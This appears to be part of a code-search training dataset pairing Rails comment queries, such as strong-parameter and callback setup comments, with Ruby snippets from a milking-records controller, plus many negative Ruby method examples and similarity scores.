:no_content }\n end\n end" ]
[ "0.70463747", "0.68726206", "0.6729877", "0.66869706", "0.66628975", "0.6645407", "0.6580957", "0.65752226", "0.654971", "0.6524203", "0.6483389", "0.64619124", "0.64493763", "0.64493763", "0.6436136", "0.6409707", "0.6403845", "0.63967836", "0.6393506", "0.6393405", "0.6385184", "0.6380306", "0.6376132", "0.6370859", "0.63622457", "0.63515776", "0.63488936", "0.63460165", "0.6336595", "0.6328686", "0.6328686", "0.6327588", "0.63213", "0.6315488", "0.6312858", "0.6312428", "0.6311502", "0.631103", "0.631103", "0.631103", "0.631103", "0.63045806", "0.6302505", "0.6302167", "0.6300078", "0.6300024", "0.6299964", "0.62990284", "0.6290648", "0.6283565", "0.62830013", "0.6282781", "0.6281857", "0.62795615", "0.6278642", "0.62755466", "0.62750524", "0.62707967", "0.6268766", "0.6264384", "0.6260252", "0.6259559", "0.62578577", "0.6257561", "0.6257561", "0.6257307", "0.6254417", "0.6247947", "0.6239567", "0.62391585", "0.62329507", "0.62281203", "0.62255836", "0.6219353", "0.6216337", "0.621602", "0.6215658", "0.6208163", "0.62076867", "0.62068033", "0.6205096", "0.6203919", "0.62022746", "0.6192611", "0.6191239", "0.6186823", "0.61859727", "0.61845535", "0.61842334", "0.6180529", "0.6178222", "0.6178222", "0.617534", "0.617534", "0.617534", "0.617534", "0.617534", "0.617534", "0.617534", "0.6174605" ]
0.69651735
1
Use callbacks to share common setup or constraints between actions.
def set_milking @milking = Milking.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def milking_params params.permit(:cow_id, :quantity, :milked_by) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Creates initial variables for class
def initialize @irregulars = {} @single_terminal_consonants = [] @copulars = {} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def class_variables() end", "def class_variables; end", "def initialize() #method\n @variables = {}\n end", "def custom_initialize_instance_variables\n @open_selector_bracket_detected = false\n @open_function_detected = false\n @open_include_detected = false\n @parents_stash = []\n @root_selectors = []\n @all_selectors = []\n @all_mixins = []\n @all_includes = []\n @all_properties = []\n end", "def class_variables\n end", "def instance_variables() end", "def initialize(*args)\n set_instance_variables args\n end", "def initialize_attributes\n @loader_for = 'class'\n @type_path = ''\n @module = ::Interferon\n end", "def initialize\r\n init_public_members\r\n init_private_members\r\n end", "def initialize(**attrs)\n prune(attrs).each { |name, value| instance_variable_set(:\"@#{name}\", value) }\n end", "def pre_initialize; end", "def initialize(name, age, hometown) #attributes are determined here\n @name = name\n @age = age\n @hometown = hometown\n end", "def initialize(*args)\n set_instance_variables args if args.size > 0\n end", "def initialize (name,sex,age,weight,height)\n #an instance variable is available anywhere inside a class (has a @ in front of it)\n @name\n self.name=name\n self.sex=sex\n self.age=age\n self.weight=weight\n self.height=height\n end", "def prep_variables\n end", "def instance_variables; end", "def initialize(attributes)\n attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize() end", "def initialize_attributes\n @training_model = Hash.new { |h, k| h[k] = Hash.new(0) }\n @classes = Set.new\n @total_words_counter = 0\n @negative_population = 0\n @neutral_population = 0\n @positive_population = 0\n @training_negatives = 0\n @training_neutrals = 0\n @training_positives = 0\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def initialize args\n index = 0\n puts args\n #iterates through all the instance variables declared at the time\n #of class creation and sets \n self.class.instance_variables.each do |instance_variable|\n\n #To set instance_variable as per new object values \n self.class.instance_variable_set( \"#{ instance_variable}\", args[ index ] )\n \n #To get value of class_variable i.e. returns array\n class_variable_array = self.class.class_variable_get( \"@#{ instance_variable }\" )\n \n #To push new args value into class variable\n self.class.class_variable_set( \"@#{ instance_variable }\", class_variable_array.push( \"#{ args[ index ] }\" ) ) \n index += 1\n end\n puts self.is_a? Sourcedetails\n end", "def initialize(params={})\n\t\t\t\tparams.each_pair do |k,v|\n\t\t\t\t\tinstance_variable_set(\"@#{k}\", v)\n\t\t\t\tend\n\t\t\tend", "def initialize(names,description,var,type)\n @names = names\n @description = description\n @var = var\n @type = type\n end", "def initialize(args = {})\n args.each { |k, v| instance_variable_set(\"@#{k}\", v) }\n end", "def initialize(*attrs)\n # Sets all attributes as instance variables from the params (note this could also be done easily by using an OpenStruct)\n ATTRS.each do |key|\n instance_variable_set(\"@#{key}\", attrs.first[key])\n end\n end", "def initialize(initial_values = {})\n initial_values.each do |name, value|\n self.send(\"#{name}=\", value)\n end\n end", "def initialize(name, age)\n # set instance variables - they will be available for all the methods, hold the state of the object\n # name, age instance vars have different values for every created object\n @name = name\n @age = age\n @id = 'some_id'\n end", "def init_class_vars \n @@untgv_jmptbl ||= initcvar_jmptbl_untagged_vlan \n end", "def attr_reader_init(*symbols)\n generate_attr_reader(symbols)\n generate_initializer(symbols)\n end", "def initialize name=\"null\",gender=\"null\",regno=0,branch=\"null\"\n@name,@gender,@regno,@branch=name,gender,regno,branch\nend", "def initialize(args)\n args.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n end", "def initialize(x) # constructor \n @inst = x # instance variables start with @ \n @@cla += 1 # each object shares @@cla \n end", "def initialize(type, variable_names)\n @type = type\n @variable_names = Set.new(variable_names)\n end", "def initialize temperature_type\n\t\ttemperature_type.each do | temp_type, value |\n\t\t\tinstance_variable_set(\"@#{temp_type}\", value) unless value.nil?\n\t\tend\n\tend", "def initialize(name, fur_color, age) #doesn't have to be that but if you want those to be dynamic it does, if you didn't list one here and made a variable hard coded it would always be that value\n @name = name\n @fur_color = fur_color\n @age = age\n end", "def initialize (nombre, saturadas, monoinsaturadas, polinsaturadas, azucares, polialcoles, almidon, fibra, proteinas, sal)\n\t\t@nombre, @saturadas, @monoinsaturadas, @polinsaturadas, @azucares, @polialcoles, @almidon, @fibra, @proteinas, @sal = nombre, saturadas, monoinsaturadas, polinsaturadas, azucares, polialcoles, almidon, fibra, proteinas, sal\n\tend", "def initialize(name) # used to set some defaults\n @name = name # @ instance variables\n end", "def pre_initialize\n end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(attributes={}) #can set instance variables when creating the instance\n @name = attributes[:name]\n @major = attributes[:major]\n @course = attributes[:course]\n @grade = attributes[:grade]\n end", "def initialize(first_name, last_name, year_of_birth) # => states\n @first_name = first_name # => instence variable\n @last_name = last_name # => instence variable\n @year_of_birth = year_of_birth # => instence variable\n @job_title = 'Baby'\n end", "def initialize(first_name, how_old)\n # @ vars are called _instance variables_\n @name = first_name\n @age = how_old\n # if self is in an instance method,\n # it refers to an instance!\n @@all << self\n end", "def initialize(args=nil)\n if args.nil?\n init! \n reset!\n else\n args.each do |key,value|\n 